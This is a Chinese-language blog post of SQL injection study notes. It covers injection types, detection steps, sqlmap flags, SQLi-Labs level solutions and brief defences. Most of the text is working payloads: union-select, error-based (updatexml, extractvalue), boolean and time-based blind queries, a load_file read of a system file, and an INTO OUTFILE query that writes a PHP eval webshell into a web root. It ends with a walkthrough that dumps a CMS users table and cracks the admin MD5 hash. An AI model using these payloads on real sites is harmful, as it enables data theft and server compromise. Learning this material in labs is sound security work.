sql注入
ASCII:美國信息交換標準代碼)是基於拉丁字母的一套電腦編碼系統,主要用於顯示現代英語和其他西歐語言。它是現今最通用的單字節編碼系統,並等同於國際標準ISO/IEC 646。
URL編碼:
寬字節:
原理
SQL,結構化查詢語言。與關係型數據庫系統進行交流的語言。
大多數情況下,SQL 語句獨立於DBMS 存在,但同時,每種DBMS 的特性和對SQL 個性化支持。
DBMS:數據庫管理系統。
漏洞原理:針對SQL注入的攻擊行爲可描述爲通過用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序時意料之外結果的攻擊行爲。其成因可以歸結爲以下兩個原因疊加造成的:
1,使用字符串拼接的方式構造SQL語句,
2,沒有進行足夠的過濾。
危害
@ 讀取(竊取)數據庫中信息,脫庫
@ 修改或插入數據
@ 獲取WebShell
@ 提升權限,與數據庫有關。
! 分類和利用
根據不同的分類標準,分類也不同
1)按數據類型分類
數字型注入
字符型注入
2)按照注入手法分類
1.聯合查詢 union select
2.報錯注入
3.布爾盲注
4. 時間盲注
引號閉合問題,必要時註釋掉後面的內容
MySQL 中的註釋實際是--空格
但是在url中需要用+代替空格就成了--+
#號也是註釋 在URL 編碼中#的編碼是%23
==========================
回顯就是輸入不同的值。返回不同的頁面內容
如何判斷SQL 注入漏洞和方法的選擇
@ id=1 判斷有無回顯
@ id=1' 判斷有無報錯
@ id=1 and 1=1
@ id=1 and 1=2 判斷有無布爾類型的狀態
==========================
注入手法的選擇
有無回顯 有回顯 聯合查詢
有無報錯 有報錯 報錯注入
有無布爾類型狀態 有 布爾盲注
絕招 時間盲注
==========================
聯合查詢 union select
判斷當前表中字段(列) 的個數
注意:
兩張虛擬表的列數相同
字段類型相同
==========================
報錯注入
利用數據庫的報錯信息來進行注入有3種。
1)group by
?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
2)extractvalue
and extractvalue(1,concat('^',(select database()),'^'))
3)updatexml
and updatexml(1,concat('^',(select current_user()),'^'),1)
==========================
布爾盲注
原理:根據 http://172.18.199.91/cms/show.php?id=36 and 1=1 是正常頁面
而http://172.18.199.91/cms/show.php?id=36 and 1=2 是錯誤頁面可以判斷存在布爾盲注;根據and後面不同的對比式判斷正確與否。慢慢猜測數據庫
length() 計算字符串的長度
substr(1,2,3) 字符串截取函數
1 被查找的字符串
2 從第幾位開始截取
3 截取多少位
substr(database(),1,1)
ord() 返回字符串的ASCII 碼
http://127.0.0.1/sql/Less-8/?id=2' and length(database())=8 --+
http://127.0.0.1/sql/Less-8/?id=2' and ord(substr(database(),1,1))<150 --+
==========================
# 時間盲注
if(1,2,3) if 判斷
1 表達式,如果表達式的值爲真,返回2,如果表達式的值爲假,返回3
sleep(x) 讓數據庫沉睡x 秒鐘
/Less-9/?id=1' and sleep(5)--+
/Less-9/?id=1' and if(length(database())=8,sleep(5),0)--+
/Less-9/?id=1' and if(ord(substr(database(),1,1))=100,sleep(5),0)--+
/Less-9/?id=1' and if(ord(substr(database(),1,1))=115,sleep(5),0)--+
# payload
注入模式、模板
# 注入的流程
數據庫的名字-->庫中表名-->表中列(字段)名-->字段內容
# 讀寫文件
load_file()
load_file('C:\\Windows\\System32\\drivers\\etc\\hosts')
load_file('C:/Windows/System32/drivers/etc/hosts')
load_file(0x433a2f57696e646f77732f53797374656d33322f647269766572732f6574632f686f737473)
寫個一句話木馬
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,'<?php eval($_POST[666]) ?>',12,13,14,15 into outfile 'c:/xampp/htdocs/1.php'
@ 根據提交的方法分類
GET 注入
POST 注入
Cookie 注入
@ 注入點的位置
URL
搜索框
訂單
留言板
...
@ 其他分類
寬字節注入
堆疊查詢
base64注入 base64 編碼方式 編碼的規則?
....
如何判斷SQL 注入漏洞和方法的選擇
@ id=1 判斷有無回顯
@ id=1' 判斷有無報錯
@ id=1 and 1=1
@ id=1 and 1=2 判斷有無布爾類型的狀態
! 防禦
@ 安裝WAF Web Application Firewall
@ 過濾敏感字符串
@ 將SQL 語句預編譯 PDO
@ 存儲過程
! SQL 注入神器
集成在kali 虛擬機中 python
sqlmap 重要常用參數
-u/--url 檢測注入點
sqlmap -u "http://172.18.199.91/cms/show.php?id=36"
--dbs 所有數據庫名
--current-db 當前數據庫的名字
-D 指定一個數據庫
--tables 列出所有的表名
-T 指定一個表
--columns 列出字段名
-C 指定字段
--dump 列出內容
sqlmap -g "php?id="
~ SQLi-Labs
! Less-01
?id=1
?id=1'
near ''1'' LIMIT 0,1' at line 1
select * from tbName where id='{$_GET['id']}' limit 0,1
/Less-1/?id=-2' union select 1,database(),3 --+
! Less-02
id=1
id=1'
near '' LIMIT 0,1' at line 1
select * from tbName where id={$_GET['id']} limit 0,1
/Less-2/?id=-2 union select 1,database(),3 --+
! Less-03
/Less-3/?id=-2') union select 1,database(),3--+
/Less-4/?id=-1") union select 1,database(),3 --+
/Less-5/?id=1' and updatexml(1,concat('^',(select current_user()),'^'),1)--+
/Less-6/?id=1" and updatexml(1,concat('^',(select current_user()),'^'),1) --+
! Less-08
/Less-8/?id=1' and length(database())=8--+ 數據庫名字的長度是8
/Less-8/?id=1' and ord(substr(database(),1,1))=115--+
數據庫名字的ASCII碼
115 101
s e
! Less-09
/Less-9/?id=1' and sleep(5)--+
/Less-9/?id=1' and if(length(database())=8,sleep(5),0)--+
/Less-9/?id=1' and if(ord(substr(database(),1,1))=100,sleep(5),0)--+
/Less-9/?id=1' and if(ord(substr(database(),1,1))=115,sleep(5),0)--+
~ MYSQL 數據庫的特性
information_schema庫 元數據數據庫(庫名、表名、字段名)
|
`--tables 表 存儲了所有的表的名字
| |
| `--table_schema表 表所屬數據庫的名字
| |
| `--table_name表 表的名字
|
`--columns 存儲了所有字段的名字
|
`--column_name 字段的名字
|
`--table_name 字段所屬表的名字
|
`--table_schema 字段所屬庫的名字
~ SQLi 實戰
http://172.18.199.91/cms/show.php?id=36
有回顯 聯合查詢
有報錯 報錯注入
有布爾 布爾盲注
絕招 時間盲注(延時注入)
! 聯合查詢
@ 查當前數據庫的名字
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
cms
@ 當前庫中所有表的名字
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
cms_article
cms_category
cms_file
cms_friendlink
cms_message
cms_notice
cms_page
cms_users
@ cms_users 表中所有的字段名
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273
7573657269642C757365726E616D652C70617373776F7264
userid
username
password
@ 脫庫
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users
admin:e10adc3949ba59abbe56e057f20f883e
admin/123456
MD5 加密 16位或32位
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.